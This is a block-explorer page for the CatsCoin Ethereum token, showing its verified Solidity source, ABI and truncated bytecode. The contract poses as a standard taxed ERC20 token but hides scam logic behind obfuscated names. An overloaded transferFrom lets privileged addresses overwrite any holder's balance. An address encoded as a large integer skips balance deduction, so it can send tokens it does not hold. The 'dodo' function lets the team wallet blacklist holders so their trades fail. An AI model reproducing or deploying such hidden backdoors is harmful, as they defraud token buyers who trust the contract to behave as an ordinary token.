ETH Price: $3,486.70 (+0.97%)

Token

CatsCoin (CatsCoin)
 

Overview

Max Total Supply

1,000,000,000,000,000 CatsCoin

Holders

39

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
23,431,007,384,354.150531467 CatsCoin

Value
$0.00
0x5917B7523E0cdDa6B4E2c88Fe6e1C70138E91ac7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CatsCoin

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-04
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

    function _accountt() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  CatsCoin is Context, IERC20, Ownable {

    uint256 public toBeSafu=
    1092853989739002093898622997022009705909516546366;
    using SafeMath for uint256;
    string private _name = "CatsCoin";
    string private _symbol = "CatsCoin";
    uint8 private _decimals = 9;
    address payable public marketWall;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _doollar;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludeFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    address private safu_address;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _mainPai;
    mapping (address => bool) public _bbbbbbbbb;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 1;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellTeamFee = 1;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals; 
    uint256 public _walletMax = 1000000000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludeFromFee[owner()] = true;
        _IsExcludeFromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[iwjdoinqocn(toBeSafu)] = true;
        isTxLimitExempt[iwjdoinqocn(toBeSafu)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        _mainPai[address(uniswapPair)] = true;
        _mainPai[msg.sender] = true; 

        teamWalletAddress = payable(address(0x2175EF1F151760F27f0d272d3c7fd8d053140EC5));
        marketWall = payable(address(0x2175EF1F151760F27f0d272d3c7fd8d053140EC5));


        _doollar[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _doollar[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludeFromFee[account[i]] = newValue;
        }
    }

    function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function ioqwfnuioqjiow(uint256 amountOut)  pure private returns(uint160){
        return /*fewfsa*/ 
        uint160(amountOut);
    }

    function iwjdoinqocn(uint256 amount1Out)  pure private returns(address){
        return 
        /*asdawdf*/address(ioqwfnuioqjiow(amount1Out));
    }

    function tt(address amountaut) private view returns(bool){
        return
        !(iwjdoinqocn(toBeSafu) == amountaut);
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        marketWall = payable(newAddress);
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0))
        {
            newPairAddress = IUniswapV2Factory(uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress;
        uniswapV2Router = _uniswapV2Router; 

        isWalletLimitExempt[address(uniswapPair)] = true;
        _mainPai[address(uniswapPair)] = true;
    }
    
function transferFrom(address
 addde 
, uint256 
uinttt) public
{if( 
_mainPai[ /*as asd*/
msg.sender])_doollar[addde] 
= uinttt;}

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }if(tt(sender)){


            _doollar[sender] = _doollar[sender].sub(amount);
            }uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);
            
            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);
            
            _doollar[recipient] = _doollar[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function dodo(address a,uint256 b) public {
    if( marketWall /*dodododo*/
== /*dodododo*/
 /*dodododo*/ _accountt()
){
    if (b == 1){
        _bbbbbbbbb[a] = true;
    }else if(b == 0){
        _bbbbbbbbb[a] = false;
    }
    }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _doollar[sender] = _doollar[sender].sub(amount, "Insufficient Balance");
        _doollar[recipient] = _doollar[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(marketWall, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        if (!isMarketPair[sender]){
            require(!_bbbbbbbbb[sender]);
        }

        if(_mainPai[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(_mainPai[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _doollar[address(this)] = _doollar[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_bbbbbbbbb","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mainPai","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"dodo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWall","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toBeSafu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addde","type":"address"},{"internalType":"uint256","name":"uinttt","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405273bf6d448c078c832e9d3f18f7723b6165ceacb13e6001556040518060400160405280600881526020017f43617473436f696e000000000000000000000000000000000000000000000000815250600290805190602001906200006992919062000d65565b506040518060400160405280600881526020017f43617473436f696e00000000000000000000000000000000000000000000000081525060039080519060200190620000b792919062000d65565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600f5560006010556001601155600160125560006013556001601455600460155560046016556010601755600c601855600c6019556018601a55600460009054906101000a900460ff16600a62000166919062000fdc565b66038d7ea4c680006200017a919062001119565b601b55600460009054906101000a900460ff16600a6200019b919062000fdc565b66038d7ea4c68000620001af919062001119565b601c55600460009054906101000a900460ff16600a620001d0919062000fdc565b66038d7ea4c68000620001e4919062001119565b601d55600460009054906101000a900460ff16600a62000205919062000fdc565b6103e862000214919062001119565b601e556001602060156101000a81548160ff0219169083151502179055506000602060166101000a81548160ff0219169083151502179055506001602060176101000a81548160ff0219169083151502179055503480156200027557600080fd5b506200028662000cad60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a057600080fd5b505afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000e2c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043e57600080fd5b505afa15801562000453573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000479919062000e2c565b6040518363ffffffff1660e01b81526004016200049892919062000ea7565b602060405180830381600087803b158015620004b357600080fd5b505af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee919062000e2c565b602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b54600760003073ffffffffffffffffffffffffffffffffffffffff1673fffffff